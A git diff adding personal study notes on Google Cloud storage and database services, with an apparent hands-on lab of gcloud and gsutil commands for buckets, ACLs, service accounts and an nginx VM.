00.17.10](https://i.imgur.com/KcFVzIf.jpg) + +- flat structure + + +## Google Cloud Storage + +![Screen Shot 2021-02-03 at 23.55.15](https://i.imgur.com/q9OtPjX.png) + +![Screen Shot 2021-06-29 at 12.46.24 AM](https://i.imgur.com/ZQYA7Ol.png) + +![Screen Shot 2021-06-29 at 12.47.20 AM](https://i.imgur.com/lyojjd3.png) + +- a fully managed scalable service. + - don't need to provision capacity ahead of time. + +- often the ingestion point for data being moved into the cloud + - allows world-wide storage and retrieval of any amount of data at any time + +- the long-term storage location for data. + +- Cloud Storage is comprised of buckets and configure and use to hold the storage objects. + - Object storage manages data as "objects" rather than a file and folder hierarchy or chunks of a disk. + +- Cloud storage can + - store App Engine logs, cloud data store backups, and objects used by App Engine applications like images. + - store instant startup scripts, Compute Engine images, and objects used by Compute Engine applications. + - serving website content, + - storing data for archival and disaster recovery, + - distributing large data objects to users via direct download. + +- Cloud Storage’s primary use is whenever `binary large-object storage (BLOB)` is needed for online content such as videos and photos, for backup and archived data and for storage of intermediate results in processing workflows. + +- Cloud Storage is not: + - **not a file system** + - object storage, each of the objects in Cloud Storage has a URL. + - file storage, manage the data as a hierarchy of folders. + - block storage, the operating system manages the data as chunks of disk. + - would not use Cloud Storage as the root file system of the Linux box. + +- Cloud Storage encrypts the data on the server side before it is written to disk + - you don't pay extra for that. + - by default, data in-transit is encrypted using HTTPS. +- Once they are in Cloud Storage, you can move them onwards to other GCP storage services. + + +--- + +## cloud storage level + +![Screen Shot 2021-06-29 at 12.59.04 AM](https://i.imgur.com/XxXhkwV.png) + +![Screen Shot 2021-06-29 at 1.00.16 AM](https://i.imgur.com/LfMfZkh.png) + +--- + +### buckets + +- buckets. + - globally unique name. + - specify a geographic location where the bucket and its contents + - Pick a location that minimizes latency for the users. + - and you choose a default storage class. + +![Screen Shot 2021-02-03 at 22.37.13](https://i.imgur.com/lXaeAvy.png) + +- The storage objects + - immutable, + - do not edit them in place but instead create new versions + - turn on object versioning on the buckets + - keeps a history of modifications. + - it overrides or deletes all of the objects in the bucket. + - can list the archived versions of an object, + - restore an object to an older state + - or permanently delete a version as needed. + - don't turn on object versioning, + - new always overrides old. + - lifecycle management policies. + - For example + - tell Cloud Storage to delete objects older than 365 days. + - tell it to delete objects created before January 1, 2013 + - or keep only the three most recent versions of each object in a bucket that has versioning enabled. + +--- + +### object + +- object + - you save to the storage here + - you keep this arbitrary bunch of bytes I give you and the storage lets you address it with a unique key. + - Often these unique keys are in the form of URLs which means object storage interacts nicely with Web technologies. + - make objects and the service stores them with high durability and high availability. + +--- + +## Access + +![Screen Shot 2021-06-29 at 1.01.03 AM](https://i.imgur.com/yh0Jtnq.png) + +- **Cloud IAM** + +- **Roles**: + - inherited from project to bucket to object. + +- **access control lists - ACLs** + - offer finer control. + - ACLs define who has access to the buckets and objects as well as what level of access they have. + - Each ACL consists of two pieces of information, + - scope + - defines who can perform the specified actions, + - for example, a specific user or group of users + - permission + - defines what actions can be performed. + - For example, read or write. + +### access control lists - ACLs + +![Screenshot 2024-08-07 at 13.40.27](/assets/img/Screenshot%202024-08-07%20at%2013.40.27.png) + +![Screen Shot 2021-06-29 at 1.01.52 AM](https://i.imgur.com/ZVXekXM.png) + +--- + +### Object Versioning + +![Screen Shot 2021-06-29 at 1.05.15 AM](https://i.imgur.com/lmWwwgY.png) + +![Screenshot 2024-08-07 at 13.39.16](/assets/img/Screenshot%202024-08-07%20at%2013.39.16.png) + +![Screen Shot 2021-06-29 at 1.05.41 AM](https://i.imgur.com/LA9i41y.png) + +--- + +### lifecycle policy + +![Screenshot 2024-08-07 at 13.41.54](/assets/img/Screenshot%202024-08-07%20at%2013.41.54.png) + +![Screen Shot 2021-06-29 at 1.06.52 AM](https://i.imgur.com/5cYKp9r.png) + +![Screen Shot 2021-06-29 at 1.08.14 AM](https://i.imgur.com/mWf4JUH.png) + +![Screen Shot 2021-06-29 at 1.10.17 AM](https://i.imgur.com/BHr6KMB.png) + +--- + +### signed URLs + +![Screen Shot 2021-06-29 at 1.02.47 AM](https://i.imgur.com/P3C6TAA.png) + +![Screen Shot 2021-06-29 at 1.02.47 AM](https://i.imgur.com/hi3Ufsj.png) + +--- + +### storage class + +![Screenshot 2024-08-07 at 13.43.09](/assets/img/Screenshot%202024-08-07%20at%2013.43.09.png) + +4 type of storage class: +- Regional +- Multi-regional +- Nearline +- Coldline + +![Screen Shot 2021-06-29 at 12.47.53 AM](https://i.imgur.com/xnLKgAP.png) + +![Screen Shot 2021-02-03 at 22.38.07](https://i.imgur.com/zQFaWOA.png) + +![Screenshot 2024-08-07 at 13.43.50](/assets/img/Screenshot%202024-08-07%20at%2013.43.50.png) + +![Screen Shot 2021-06-29 at 1.12.07 AM](https://i.imgur.com/DeMifDh.png) + +- Multi-regional and Regional are high-performance object storage + - multi region: a large geographic areas such as the United States that contains two or more geographic places. + - Dual region: a specific pair of regions such as Finland and the Netherlands. + - A region: a specific geographic place such as London + - Object stored in a multi region or dual region are geo redundant + + +- Nearline and Coldline are backup and archival storage. +- All of the storage classes are accessed in comparable ways using the cloud storage API and they all offer millisecond access times. + + +- pricing + - all storage classes incur a cost per gigabyte of data stored per month + - Multi-regional having the highest storage price + - Coldline the lowest storage price. + - Egress and data transfer charges may also apply. + - Nearline storage also incurs an access fee per gigabyte of data read + - Coldline storage incurs a higher fee per gigabyte of data read. + +--- + +#### Autoclass + +![Screenshot 2024-08-07 at 13.44.26](/assets/img/Screenshot%202024-08-07%20at%2013.44.26.png) + +--- + +#### Standard + +- fast for data that is frequently accessed and are stored for only brief periods of time. + +- most expensive storage class, + +- but has no minimum storage duration and no retrieval cost. + +used in +- **a region** + - standard storage is appropriate for storing data in the same location as Google, Kubernetes engine clusters or compute engine instances that use the data. + - Co locating your resources maximizes the performance for data intensive computations and can reduce network charges. +- **used in dual region** + - still get optimized performance when accessing Google Cloud products that are located in one of the associated regions. + - But also get improved availability that comes from storing data in geographically separate locations. +- **used in multi region** + - appropriate for storing data that is `accessed around the world`. + - Such as serving website content, stream videos, executing interactive workloads, or serving data supporting mobile and gaming applications + +##### Multi-regional storage `99.95 percent` +- cost a bit more +- but it's Geo-redundant. +- you pick a broad geographical location like the United States, the European Union, or Asia and cloud storage stores your data in at least two geographic locations separated by at least 160 kilometers. +- appropriate for storing frequently accessed data. + - For example, + - website content, interactive workloads, + - or data that's part of mobile and gaming applications. + +##### Regional storage `99.9 percent Availability` +- store data in a specific GCP region: + - US Central one, Europe West one or Asia East one. +- cheaper than Multi-regional storage +- but it offers less redundancy. +- to store data close to their Compute Engine, virtual machines, or their Kubernetes engine clusters. + - gives better performance for data-intensive computations. + +--- + +#### Nearline storage `99 percent Availability` + +> better choice than standard storage in scenarios were slightly lower availability, authority day, minimum storage duration, and costs for data access are acceptable tradeoffs for lowered at less storage costs. + +- low-cost +- highly durable service +- for **storing infrequently accessed data**. + - For example, + - data backup, long tailed multimedia content, and data archiving. + - when plan to read or modify the data once a month or less on average. + - continuously add files to cloud storage and access those files once a month for analysis + +--- + +#### Coldline storage `99 percent Availability` + +> best choice for data that you plan to access -at most- once a year. +> better choice than standard storage or nearline storage. In scenarios where slightly lower availability, a 90 day minimum storage duration and higher costs for data access are acceptable tradeoffs for lowered address storage costs. + +- very low cost +- highly durable service +- **storing infrequently accessed data** + - for data archiving, online backup, and disaster recovery +- due to its slightly lower availability, +- 90-day minimum storage duration, +- costs for data access, and higher per operation costs. +- For example, + - to archive data or have access to it in case of a disaster recovery event. + +--- + +#### Archive storage + +> best choice for data that you plan to access less than once a year. + +- the lowest cost +- highly durable storage service +- for data archiving, online backup and disaster recovery. +- data is available within milliseconds, not hours or days. +- Though the typical availability is comparible to nearline and coldline storage. Archive storage also has higher costs for data access and operations as well as a 365 day minimum storage duration. + +--- + +## bring data into cloud storage. + +![Screenshot 2024-08-07 at 13.45.53](/assets/img/Screenshot%202024-08-07%20at%2013.45.53.png) + +![Screen Shot 2021-02-03 at 23.54.12](https://i.imgur.com/suMHyqx.png) + +![Screen Shot 2021-06-29 at 1.09.08 AM](https://i.imgur.com/Vqi3oyV.png) + +- bring data into cloud storage. + - use gsutil + - the cloud storage command from this cloud SDK. + - drag and drop in the GCP console in browser. + - for terabytes or even petabytes of data + - online storage transfer service + - schedule and manage batch transfers to cloud storage from another cloud provider from a different cloud storage region or from an HTTPS endpoint. + - offline transfer appliance + - a rackable, high-capacity storage server that you lease from Google Cloud. + - connect it to your network, load it with data, and then ship it to an upload facility where the data is uploaded to cloud storage. + - securely transfer up to a petabyte of data on a single appliance. + +- other ways of getting your data into cloud storage as this storage option is tightly integrated with many of the Google cloud platform products and services. +- For example + - import and export tables from and to BigQuery as well as Cloud SQL. + +--- + +## Deployment + +Lab Setup + +create 2 bucket + +Bukect1: +- BUCKET_NAME: my_bucket +- Region: us-east4 +- how to control access to objects: + - uncheck Enforce public access prevention on this bucket + - select Fine-grained. + +Create a virtual machine (VM) instance +- Name: first-vm +- Region: us-east4 +- Zone: us-east4-b +- Machine type: click e2-micro (2 shared vCPU) +- Firewall: click Allow HTTP traffic. + + +Create an IAM service account + +- Service account name: test-service-account +- Grant this service account access to project page: role as Basic > Editor +- Manage keys: Create new key -> "credentials.json" +- Move the credentials file you created earlier into Cloud Shell + + +Cloud Shell + +```sh +# list all the zones in a given region: +MY_REGION=us-east4 +gcloud compute zones list | grep $MY_REGION +# Set default zone +MY_ZONE=us-east4-b +gcloud config set compute/zone $MY_ZONE + +# create a second virtual machine +MY_VMNAME=second-vm +gcloud compute instances create $MY_VMNAME \ +--machine-type "e2-standard-2" \ +--image-project "debian-cloud" \ +--image-family "debian-11" \ +--subnet "default" + +gcloud compute instances list + + +# create a second service account +gcloud iam service-accounts create test-service-account2 \ + --display-name "test-service-account2" + +# grant the second service account the viewer role: +gcloud projects add-iam-policy-binding $GOOGLE_CLOUD_PROJECT \ + --member serviceAccount:test-service-account2@${GOOGLE_CLOUD_PROJECT}.iam.gserviceaccount.com \ + --role roles/viewer +``` + +- the external IP address of the first VM you created is shown as a link. + - because this VM's firewall allow HTTP traffic. + - Click the link. Your browser will present a Connection refused message in a new browser tab. This message occurs because, although there is a firewall port open for HTTP traffic to your VM, no web server is running there. + +Download a file to Cloud Shell and copy it to Cloud Storage + +```sh +MY_BUCKET_NAME_1=my_bucket +MY_BUCKET_NAME_2=my_bucket2 + +# create a bucket: +gcloud storage buckets create gs://$MY_BUCKET_NAME_2 --location=us-east4 + +# Copy a picture of a cat from a Google-provided Cloud Storage bucket to your Cloud Shell: +gcloud storage cp gs://cloud-training/ak8s/cat.jpg cat.jpg +# Copy the file into the first bucket that you created earlier: +gcloud storage cp cat.jpg gs://$MY_BUCKET_NAME_1 +# Copy the file from the first bucket into the second bucket: +gcloud storage cp gs://$MY_BUCKET_NAME_1/cat.jpg gs://$MY_BUCKET_NAME_2/cat.jpg + +# Set the access control list for a Cloud Storage object + +# To get the default access list that's been assigned to cat.jpg +gsutil acl get gs://$MY_BUCKET_NAME_1/cat.jpg > acl.txt +cat acl.txt +# [ +# { +# "entity": "project-owners-560255523887", +# "projectTeam": { +# "projectNumber": "560255523887", +# "team": "owners" +# }, +# "role": "OWNER" +# }, +# { +# "entity": "project-editors-560255523887", +# "projectTeam": { +# "projectNumber": "560255523887", +# "team": "editors" +# }, +# "role": "OWNER" +# }, +# { +# "entity": "project-viewers-560255523887", +# "projectTeam": { +# "projectNumber": "560255523887", +# "team": "viewers" +# }, +# "role": "READER" +# }, +# { +# "email": "google12345678_student@qwiklabs.net", +# "entity": "user-google12345678_student@qwiklabs.net", +# "role": "OWNER" +# } +# ] + + +# change the object to have private access, execute the following command: +gsutil acl set private gs://$MY_BUCKET_NAME_1/cat.jpg + +# To verify the new ACL that's been assigned to cat.jpg +gsutil acl get gs://$MY_BUCKET_NAME_1/cat.jpg > acl-2.txt +cat acl-2.txt +# [ +# { +# "email": "google12345678_student@qwiklabs.net", +# "entity": "user-google12345678_student@qwiklabs.net", +# "role": "OWNER" +# } +# ] +# Now only the original creator of the object (your lab account) has OWNER access. +``` + + +Authenticate as a service account in Cloud Shell + +```sh +gcloud config list +# [component_manager] +# disable_update_check = True +# [compute] +# gce_metadata_read_timeout_sec = 30 +# zone = us-east4-b +# [core] +# account = google12345678_student@qwiklabs.net +# disable_usage_reporting = False +# project = qwiklabs-Google Cloud-1aeffbc5d0acb416 +# [metrics] +# environment = devshell +# Your active configuration is: [cloudshell-16441] + + +# change the authenticated user to the first service account +gcloud auth activate-service-account --key-file credentials.json +gcloud config list +# [component_manager] +# disable_update_check = True +# [compute] +# gce_metadata_read_timeout_sec = 30 +# zone = us-east4-b +# [core] +# account = test-service-account@qwiklabs-Google Cloud-1aeffbc5d0acb416.iam.gserviceaccount.com +# disable_usage_reporting = False +# project = qwiklabs-Google Cloud-1aeffbc5d0acb416 +# [metrics] +# environment = devshell +# Your active configuration is: [cloudshell-16441] + + +# Because you restricted access to this file +# verify that the current account (test-service-account) cannot access the cat.jpg file +gcloud storage cp gs://$MY_BUCKET_NAME_1/cat.jpg ./cat-copy.jpg +# AccessDeniedException: 403 KiB] + + +# Verify that the current account (test-service-account) can access the cat.jpg file in the second bucket +gcloud storage cp gs://$MY_BUCKET_NAME_2/cat.jpg ./cat-copy.jpg + +# To switch to the lab account, execute the following command +gcloud config set account [USERNAME] +gcloud storage cp gs://$MY_BUCKET_NAME_1/cat.jpg ./copy2-of-cat.jpg + + +# Make the first Cloud Storage bucket readable by everyone, including unauthenticated users: +gsutil iam ch allUsers:objectViewer gs://$MY_BUCKET_NAME_1 + + +# In the Cloud Shell code editor, select New File. +# Name the file index.html. +# Cat +# +#

    Cat

    +# +# + + +# SSH to first-vm. +sudo apt-get remove -y --purge man-db +sudo touch /var/lib/man-db/auto-update +sudo apt-get update +sudo apt-get install nginx + +# cloud shell +gcloud compute scp index.html first-vm:index.nginx-debian.html --zone=us-east4-b + +# copy the HTML file from your home directory to the document root of the nginx web server: +sudo cp index.nginx-debian.html /var/www/html + +# Click the link in the External IP column for your first-vm. A new browser tab opens with a webpage that contains the cat image. +``` + + + + +. diff --git a/_posts/01Cloud/01GCP/storage/2021-01-01-Database.md b/_posts/01Cloud/01GCP/storage/2021-01-01-Database.md new file mode 100644 index 00000000000..412fc78984b --- /dev/null +++ b/_posts/01Cloud/01GCP/storage/2021-01-01-Database.md @@ -0,0 +1,464 @@ +--- +title: GCP - Database +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Storage] +tags: [GCP] +toc: true +image: +--- + +- [Database](#database) + - [basic](#basic) + - [relational database services](#relational-database-services) + - [NoSQL](#nosql) + - [Relational](#relational) + - [Cloud SQL](#cloud-sql) + - [benefit of Cloud SQL instances](#benefit-of-cloud-sql-instances) + - [usecase](#usecase) + - [Cloud Spanner](#cloud-spanner) + - [NoSQL](#nosql-1) + - [Cloud Bigtable](#cloud-bigtable) + - [Bigtable Access Patterns](#bigtable-access-patterns) + - [Cloud Datastore](#cloud-datastore) + - [Cloud Filestore](#cloud-filestore) + - [usecase](#usecase-1) + - [Firebase Realtime Database](#firebase-realtime-database) + - [Cloud Memorystore](#cloud-memorystore) + +--- + +# Database + +--- + +## basic + +![Screen Shot 2021-06-30 at 12.02.16 AM](https://i.imgur.com/mxLH9bc.png) + +- **Cloud Storage** + - if you need to store immutable blobs larger than 10 megabytes , such as large images or movies. + - provides petabytes of capacity with a maximum unit size of 5 terabytes per object. + +- **Cloud SQL or Spanner** + + - if you need full SQL support for an online transaction processing system. + + - Cloud SQL provides up to 64 terabytes, depending on machine type, and Spanner provides petabytes. Cloud SQL is best for web frameworks and existing applications, like storing user credentials and customer orders. + + - Spanner if you need horizontal scalability , not just through read replicas + +- **Firestore** + + - if you need massive scaling and predictability together with real time query results and offline query support. + - provides terabytes of capacity with a maximum unit size of 1 megabyte per entity. + - best for storing, syncing, and querying data for mobile and web apps . + +- **Bigtable** + + - if you need to store a large number of structured objects. + - Bigtable doesn’t support SQL queries, nor does it support multi-row transactions. + - provides petabytes of capacity with a maximum unit size of 10 megabytes per cell and 100 megabytes per row. + - best for analytical data with heavy read and write events , like AdTech, financial, or IoT data. + +--- + +### relational database services +- use a database schema to help your application keep your data consistent and correct. +- Another feature of relational database services that helps with the same goal - transactions. + - application can designate a group of database changes as all or nothing. + - Either they all get made, or none do. + - Without database transactions + - online bank wouldn't be able to offer you the ability to move money from one account to another. + - What if, + - after subtracting $10,000 from one of your accounts, + - some glitch prevented it from adding that 10,000 to the destination account? + - Your bank would have just misplaced $10,000. + +--- + +### NoSQL + +- **Datastore** is best for `semi-structured application data that is used in app engine application`. +- **Bigtable** is best for `running large analytical workloads`. +- **Firestore** is ideal for b`uilding client-side mobile and web applications`. +- **Firebase Realtime Database** is best for `syncing data between users in real time, such as for collaboration apps`. +- **Memorystore** is an in-memory datastore that’s typically used to `speed up applications by caching frequently requested data`. + +- Cloud Bigtable `NoSQL` + - store large amount of structured objects + - with lookups based on a single key + - does not support SQL's queries + - does not support multi-row transactions. + - provides `petabytes` of capacity + - maximum unit size of 10 megabytes per cell and 100 megabytes per row. + - use case + - best for analytical data with heavy read/write events + - like AdTech, Financial or IoT data. + - devices with sensors and need to stream huge amounts of data from these devices to a storage option in the cloud + + +- Cloud Storage `Blobstore` + - provides `petabytes` of capacity + - maximum unit size of five terabytes per object. + - often the ingestion point for data being moved into the cloud + - is frequently the long-term storage location for data + - use case: + - best for structured and unstructured, binary or object data + - store immutable blobs larger than 10 megabytes + - such as large images, movies, large media files and backups. + - application that transcodes large video files. + - Immutable binary objects + - and new versions overwrite old unless + + +- Cloud SQL `Relational` + - full SQL support for an online transaction processing + - provides `terabytes` of capacity + - use case: + - best for web frameworks and in existing applications + - like storing user credentials and customer orders. + + +- Cloud Spanner `Relational` + - full SQL support for an online transaction processing system. + - provides `petabytes`. + - application needs to store data with strong transactional consistency, and want seamless scaling up + - use case: + - If Cloud SQL does not fit the requirements as need horizontal scalability not just through read replicas + - best for large scale database applications that are larger than two terabytes; + - for example, for financial trading and e-commerce use cases. + + +- BigQuery + - it sits on the edge between data storage and data processing + - use case: + - to use its big data analysis and interactive query and capabilities + - will not use BigQuery, + - for example, as the backings store for an online application. + + - Data stored in BigQuery is highly durable. + - Google stores the data in a replicated manner by default and at no additional charge for replicas. + - pay only for the resources you use. + - Data storage in BigQuery is inexpensive. + - Queries incur charges based on the amount of data they process: + - when you submit a query, you pay for the compute nodes only for the duration of that query. + - You don't have to pay to keep a compute cluster up and running. + + - Using BigQuery involves interacting with a number of Google Cloud Platform resources, + - including projects (covered elsewhere in this course), datasets, tables, and jobs. + - **Datasets:** + - a grouping mechanism that holds zero or more tables. + - the lowest level unit of access control. + - Datasets are owned by GCP projects. + - Each dataset can be shared with individual users. + - **Tables:** + - A table is a row-column structure that contains actual data. + - Each table has a schema that describes strongly typed columns of values. + - Each table belongs to a dataset. + + +--- + + +## Relational + +### Cloud SQL + +**relational databases** +- lot of work to set up, maintain, manage, and administer. +- If that doesn't sound like a good use of your time but you still want the protections of a relational database, consider Google Cloud SQL + +**Google Cloud SQL** + +![Screenshot 2024-08-07 at 13.47.13](/assets/img/Screenshot%202024-08-07%20at%2013.47.13.png) + +- run your own database server + - run the database server inside a Compute Engine virtual machine, + +- offers choice of the MySQL or PostgreSQL database engines + - a fully managed service. + - capable of handling terabytes of storage. + - If you’re currently using `MySQL, PostgreSQL, or Microsoft SQL Server`, then Cloud SQL is your best bet. + + +![Screen Shot 2021-06-30 at 12.02.34 AM](https://i.imgur.com/8Z0t5St.png) + +![Screen Shot 2021-06-30 at 12.07.46 AM](https://i.imgur.com/THrlNLv.png) + +![Screen Shot 2021-06-30 at 12.08.15 AM](https://i.imgur.com/t2WUFRK.png) + +![Screen Shot 2021-06-30 at 12.09.05 AM](https://i.imgur.com/AjV9IZK.png) + +![Screen Shot 2021-06-30 at 12.10.15 AM](https://i.imgur.com/PszTK6O.png) + +![Screen Shot 2021-06-30 at 12.11.17 AM](https://i.imgur.com/oBWdUmv.png) + + +#### benefit of Cloud SQL instances + +- automatic replication + - provides several replica services like read, failover, and external replicas. + - if an outage occurs, Cloud SQL can replicate data between multiple zones with automatic failover. + +- Cloud SQL backup the data + - either on-demand or scheduled backups. + +- It can scale both vertically and horizontally + - vertically by changing the machine type, + - horizontally via read replicas. + - cale up to 128 processor cores, 864 GB of RAM, and 64 TB of storage. + +- security perspective + - Cloud SQL instances include network firewalls, + - and customer data is encrypted when on Google's internal networks, and when stored in database tables, temporary files, and backups. + +- control network access + - Cloud SQL instances is accessible by other GCP services and even external services. + - includes a network firewall to control network access to each database instance. + - You can authorize `Compute Engine instances` for access `Cloud SQL instances` + - and configure the `Cloud SQL instance` to be in the same zone as your virtual machine. + +- Cloud SQL also supports other applications and tools + - like SQL WorkBench, Toad, + - and other external applications using standard MySQL drivers. + +![Screen Shot 2021-02-06 at 22.42.06](https://i.imgur.com/L2iJCpE.png) + +--- + +#### usecase + +- relational databases ideal for online transactional processing + + + + + +--- + + +### Cloud Spanner + +![Screenshot 2024-08-07 at 13.50.13](/assets/img/Screenshot%202024-08-07%20at%2013.50.13.png) + +> If Cloud SQL does not fit your requirements because you need horizontal scalability, Cloud Spanner. + +- It offers transactional consistency at a global scale, schemas, SQL, and automatic synchronous replication for high availability. + +- especially suited for applications that require high availability, strong global consistency, and high input/output operations per second . + +- it can provide petabytes of capacity. + +- Cloud Spanner if + - If Cloud SQL does not fit your requirements because you need horizontal scalability + - you have outgrown any relational database, or sharding your databases for throughput high performance, need transactional consistency, global data and strong consistency, + - or just want to consolidate your database. + - Natural use cases include, financial applications, and inventory applications. + + +![Screen Shot 2021-06-30 at 12.33.48 AM](https://i.imgur.com/VZYWeif.png) + +![Screen Shot 2021-06-30 at 12.34.16 AM](https://i.imgur.com/yNgZEOR.png) + +![Screen Shot 2021-06-30 at 12.35.02 AM](https://i.imgur.com/v1RULmP.png) + +![Screen Shot 2021-06-30 at 12.35.17 AM](https://i.imgur.com/pBftNpF.png) + + +--- + +## NoSQL + + +### Cloud Bigtable + +> relational database +> - use tables +> - every row has the same set of columns, +> - enforced database schema: +> - the database engine, enforces rule and other rules you specify for each table. +> - big help for some applications but a huge pain for others. +> - Some applications call for a much more flexible approach. +> - example +> - NoSQL schema. +> - for applications that not all the rows might need to have the same columns. + +- GCP fully manages the surface + - no need to configure and tune it. + +- NoSQL, big data database service. + - databases in Bigtable are sparsely populated tables + - can scale to billions of rows and thousands of columns + - allowing you to store petabytes of data. + +- ideal for + - data that has a single lookup key + - Bigtable as a persistent hash table. + - storing large amounts of data with very low latency + - supports high throughput + - both read and write, + - great choice for both operational and analytical applications + - including Internet of Things, user analytics and financial data analysis. + +- Cloud Bigtable is offered through the same open source API as HBase + - HBase: the native database for the Apache Hadoop project. + - having the same API enables portability of applications between HBase and Bigtable. + +![Screen Shot 2021-06-30 at 12.39.05 AM](https://i.imgur.com/XpKnTnC.png) + +![Screen Shot 2021-06-30 at 12.39.52 AM](https://i.imgur.com/bkUTBz5.png) + +![Screen Shot 2021-06-30 at 12.40.56 AM](https://i.imgur.com/GKbcGAk.png) + +![Screen Shot 2021-06-30 at 12.41.25 AM](https://i.imgur.com/ebgopUG.png) + +![Screen Shot 2021-06-30 at 12.41.36 AM](https://i.imgur.com/3vqIR7j.png) + +benefits +- scalability + - compare with own Apache HBase installation, + - manage your own Hbase installation + - scaling past a certain rate of queries per second is going to be tough, + - Bigtable: + - just increase the machine count which doesn't even require downtime. + +- Cloud Bigtable handles administration tasks + - like upgrades and restarts transparently. + +- encryption + - All data in Cloud Bigtable is encrypted in both in-flight and at rest. + +- use IAM permissions + - to control who has access to Bigtable data. + +- Bigtable is the same database that powers many of Google's core services + - including search, analytics, maps and Gmail. + - Cloud Bigtable is part of the GCP ecosystem, it can interact with other GCP services and third-party clients. + + + +#### Bigtable Access Patterns + +![Screen Shot 2021-02-04 at 00.09.22](https://i.imgur.com/HHrenvO.png) + + + +- application API + - data can be read from and written through data service layer + - like Managed VMs, the HBase rest server or a Java server using the HBase client. + - Typically, this will be to serve data to applications, dashboards and data services. + - ![Screenshot 2024-08-07 at 13.55.12](/assets/img/Screenshot%202024-08-07%20at%2013.55.12.png) + + + +- streaming + - Data can be streamed in through popular stream processing frameworks, + - like Cloud Dataflow Streaming, Spark Streaming and Storm. + - ![Screenshot 2024-08-07 at 13.55.47](/assets/img/Screenshot%202024-08-07%20at%2013.55.47.png) + + + +- batch processing + - data can be read from and written through batch processes + - like Hadoop map reduce, Dataflow or Spark. + - Often, summarized or newly calculated data is written back to Cloud Bigtable or to a downstream database. + - ![Screenshot 2024-08-07 at 13.55.26](/assets/img/Screenshot%202024-08-07%20at%2013.55.26.png) + + +--- + +### Cloud Datastore + +- highly scalable NoSQL database for the applications + - store unstructured objects + - support for `transactions` + - support for `SQL-like queries`. + - provides `terabytes` of capacity + - maximum unit size of one megabyte per entity. + +- use cases + - store data from App Engine apps. + - best for semi-structured application data that is used in app engine applications + - free daily quota, separate from any free trials + - build solutions that span App Engine and Compute Engine with Cloud Datastore as the integration point. + - fully-managed service + - automatically handles sharding and replication, + - providing a highly available and durable database + - scales automatically to handle load. + +- Unlike Cloud Bigtable + - Cloud Datastore offers transactions that affect multiple database rows + - it lets you do SQL-like queries. + - Cloud Datastore has a free daily quota that provides storage, reads, writes, deletes and small operations at no charge. + + +--- + +### Cloud Filestore + +![Screen Shot 2021-06-29 at 1.14.23 AM](https://i.imgur.com/LvZBMyG.png) + +- NoSQL cloud database for mobile, web, and server development. + +- Data in Firestore is stored in documents and organized into collections. + + - Documents can contain complex nested objects and subcollections. + + - Each document consists of key-value pairs. + + - Firestore's NoSQL queries can retrieve specific documents or all documents in a collection that match query parameters. + +- Queries can include multiple filters and sorting options. + +- Firestore's query performance is based on the size of the result set, not the dataset. + +- Firestore uses **data synchronization** to update data on connected devices. + + - It can also efficiently handle simple one-time fetch queries. + + - Firestore caches data that an app is actively using, allowing it to read, write, listen to, and query data even when offline . + + - When the device comes back online, Firestore synchronizes any local changes back to the database. + +- automatic multi-region data replication, strong consistency guarantees, atomic batch operations, and real transaction support. + + +#### usecase + +- ideal for use with client-side web and mobile apps +![Screen Shot 2021-06-29 at 1.17.04 AM](https://i.imgur.com/3bXKuVS.png) + +![Screen Shot 2021-06-30 at 12.36.34 AM](https://i.imgur.com/pOPAHGX.png) + +![Screen Shot 2021-06-30 at 12.37.49 AM](https://i.imgur.com/ddTa2Gb.png) + +![Screen Shot 2021-06-30 at 12.38.19 AM](https://i.imgur.com/ZfRBT1m.png) + + +--- + +### Firebase Realtime Database + + +--- + +### Cloud Memorystore + +![Screen Shot 2021-06-30 at 12.42.38 AM](https://i.imgur.com/wrxo9i1.png) + + + + + + + + + + + + + + + + + . diff --git a/_posts/01Cloud/01GCP/storage/2021-01-01-GCP-Storage.md b/_posts/01Cloud/01GCP/storage/2021-01-01-GCP-Storage.md new file mode 100644 index 00000000000..56c975972ed --- /dev/null +++ b/_posts/01Cloud/01GCP/storage/2021-01-01-GCP-Storage.md @@ -0,0 +1,118 @@ +--- +title: GCP - GCP Storage +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Storage] +tags: [GCP] +toc: true +image: +--- + +- [GCP Storage](#gcp-storage) + - [Data Type](#data-type) + - [Unstructure Data](#unstructure-data) + - [Structure Data](#structure-data) + - [object](#object) + - [Cloudstorage](#cloudstorage) + - [filestorage](#filestorage) + - [Database](#database) + - [relational](#relational) + - [CloudSQL](#cloudsql) + - [Cloud Spanner](#cloud-spanner) + - [Non relational](#non-relational) + - [Data warehouse](#data-warehouse) + - [decision chart](#decision-chart) + +--- + +# GCP Storage + +Google Cloud has storage options for structured, unstructured, transactional, and relational data + +![Screen Shot 2021-06-29 at 12.43.36 AM](https://i.imgur.com/fpA35QT.png) + +![Screenshot 2023-09-24 at 23.48.10](/assets/img/post/Screenshot%202023-09-24%20at%2023.48.10.png) + + +## Data Type + +![Screenshot 2023-09-24 at 23.48.24](/assets/img/post/Screenshot%202023-09-24%20at%2023.48.24.png) + +### Unstructure Data + +![Screenshot 2023-09-24 at 23.48.32](/assets/img/post/Screenshot%202023-09-24%20at%2023.48.32.png)![Screenshot 2023-09-24 at 23.48.55](/assets/img/post/Screenshot%202023-09-24%20at%2023.48.55.png) + +### Structure Data + +![Screenshot 2023-09-24 at 23.49.03](/assets/img/post/Screenshot%202023-09-24%20at%2023.49.03.png)![Screenshot 2023-09-24 at 23.49.11](/assets/img/post/Screenshot%202023-09-24%20at%2023.49.11.png) + + +--- + +## object + + +![Screen Shot 2022-08-28 at 16.45.14](https://i.imgur.com/Uz9eZ1v.png) + +### Cloudstorage + +![Screen Shot 2022-08-15 at 00.26.27](https://i.imgur.com/KJwFkof.jpg) + +### filestorage + +![Screen Shot 2022-08-15 at 00.18.03](https://i.imgur.com/8Aw7peQ.jpg) + +--- + + +## Database + +![Screen Shot 2022-08-15 at 00.19.37](https://i.imgur.com/dJK9H74.jpg) + + + +### relational + +![Screen Shot 2022-08-28 at 16.46.18](https://i.imgur.com/5W21V24.png) + +#### CloudSQL + +![Screen Shot 2022-08-15 at 00.18.25](https://i.imgur.com/pYTS0BI.jpg) + + +#### Cloud Spanner + +![Screen Shot 2022-08-15 at 00.20.25](https://i.imgur.com/6Ut4J5a.jpg) + +--- + + +### Non relational + +![Screen Shot 2022-08-28 at 16.47.24](https://i.imgur.com/hKyGVSz.png) + +![Screen Shot 2022-08-15 at 00.20.10](https://i.imgur.com/PmvUk2r.jpg) + +--- + + +### Data warehouse + +Bigquery + +![Screen Shot 2022-08-15 at 00.20.59](https://i.imgur.com/7fUA27H.jpg) + + + +--- + + +## decision chart + +![Screen Shot 2021-06-29 at 12.44.06 